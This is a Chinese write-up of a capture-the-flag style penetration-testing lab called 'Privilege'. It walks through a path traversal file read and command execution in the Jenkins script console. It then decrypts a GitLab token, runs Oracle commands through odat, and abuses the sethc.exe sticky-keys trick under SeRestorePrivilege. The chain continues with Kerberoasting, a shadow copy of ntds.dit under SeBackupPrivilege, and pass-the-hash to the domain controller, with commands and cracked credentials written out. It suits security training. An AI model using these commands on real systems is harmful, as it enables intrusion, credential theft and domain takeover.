Privilege
先来看一下考点和提示
1 | 关卡1剧情: |
1 | 关卡2剧情: |
1 | 关卡3剧情: |
1 | 关卡4剧情: |
外网打点
先fscan扫一下
1 | fscan.exe -h 39.99.138.22 |
80端口是wordpress
扫一下目录,上dirsearch
1 | [16:20:36] Starting: |
看了一下可以直接读文件, 读到flag1
1 | http://39.99.138.22/tools/content-log.php?logfile=../../../../../../../../../Users/Administrator/flag/flag01.txt |
再去读默认配置的密码
1 | 510235cf43f14e83b88a9f144199655b |
去8080的login页面登录admin用户,/manage/script路径下可以命令执行
还是system权限,尝试添加用户
1 | println "net user calmsec admin@123 /add".execute().text |
rdp上去
内网渗透
传个fscan扫一下
1 | fscan.exe -h 172.22.14.0/24 |
分析一下
1 | 172.22.14.7 本机 |
提示里说了api,去找一下默认配置地方,发现了api
1 | C:/ProgramData/Jenkins/.jenkins/credentials.xml |
找到了apitoken,去web界面解密一下
1 | println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText()) |
得到明文
1 | glpat-7kD_qLH2PiQv_ywB9hz2 |
搭个代理,有了token就可以去,去用api列出Gitlab项目
1 | proxychains curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects" |
1 | [{ |
clone
1 | proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git |
数据库提权
在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账号和密码
1 | url: 172.22.14.31:1521/orcl |
因为xradmin有DBA权限,用odat就能直接执行命令了,加个账户rdp上去
1 | proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user calmsec admin@123 /add' |
再回到上面clone的项目,其中找到了XR-0923的账号密码
1 | XR-0923 | zhangshuai | wSbEajHzZs |
SeRestorePrivilege提权
这边测试了一下,rdp上去和evil-winrm上去发现特权不一样,这里需要用到SeRestorePrivilege提权
1 | proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs |
因为有SeRestorePrivilege,所以能无视ACL修改文件或者编辑注册表,类似于之前的放大镜提权,我们可以把cmd.exe重命名为sethc.exe,然后在锁屏界面连按五次shift启动sethc提权
1 | cd C:\windows\system32 |
去锁屏界面五次shift,提到system权限
先拿flag然后添加个admin账号重新登进去
1 | type C:\Users\Administrator\flag\flag03.txt |
1 | Authentication Id : 0 ; 7048218 (00000000:006b8c1a) |
拿着 XR-0923$
的ntlm哈希看SPN能找到一个tianjing用户
1 | proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':92bb9473498c75f05bec862d84167bb8' -dc-ip 172.22.14.11 |
看到tianjing抓一下hash
1 | proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':92bb9473498c75f05bec862d84167bb8' -dc-ip 172.22.14.11 -request-user tianjing |
爆破hash
1 | john hash --wordlist=/usr/share/wordlists/rockyou.txt |
1 | tianjing:DPQSXSXgh2 |
evil-winrm登录
1 | proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 |
SeBackupPrivilege 拷贝 sam
有备份以及还原文件或目录的权限,可以卷影拷贝然后读sam(SAM是安全账户管理器数据库,包含了本地用户及用户组,包括它们的口令及其他属性,位于注册表的HKLM__SAM下面)
本地创一个raj.dsh,写入
1 | set context persistent nowriters |
接着用unix2dos raj.dsh转化格式
然后切换到C目录,然后创一个test文件夹切换过去(不然后面会没权限),把本地的raj.dsh上传上去
1 | mkdir test |
卷影拷贝
diskshadow /s raj.dsh
复制到到当前目录,也就是我们创建的这个test目录
1 | RoboCopy /b z:\windows\ntds . ntds.dit |
最后把sam下下来,命令是download ntds.dit
接下来下载system
1 | reg save HKLM\SYSTEM system |
最后用download下来的ntds.dit和system本地进行解密
1 | impacket-secretsdump -ntds ntds.dit -system system local |
拿到hash,打pth
1 | proxychains evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277" |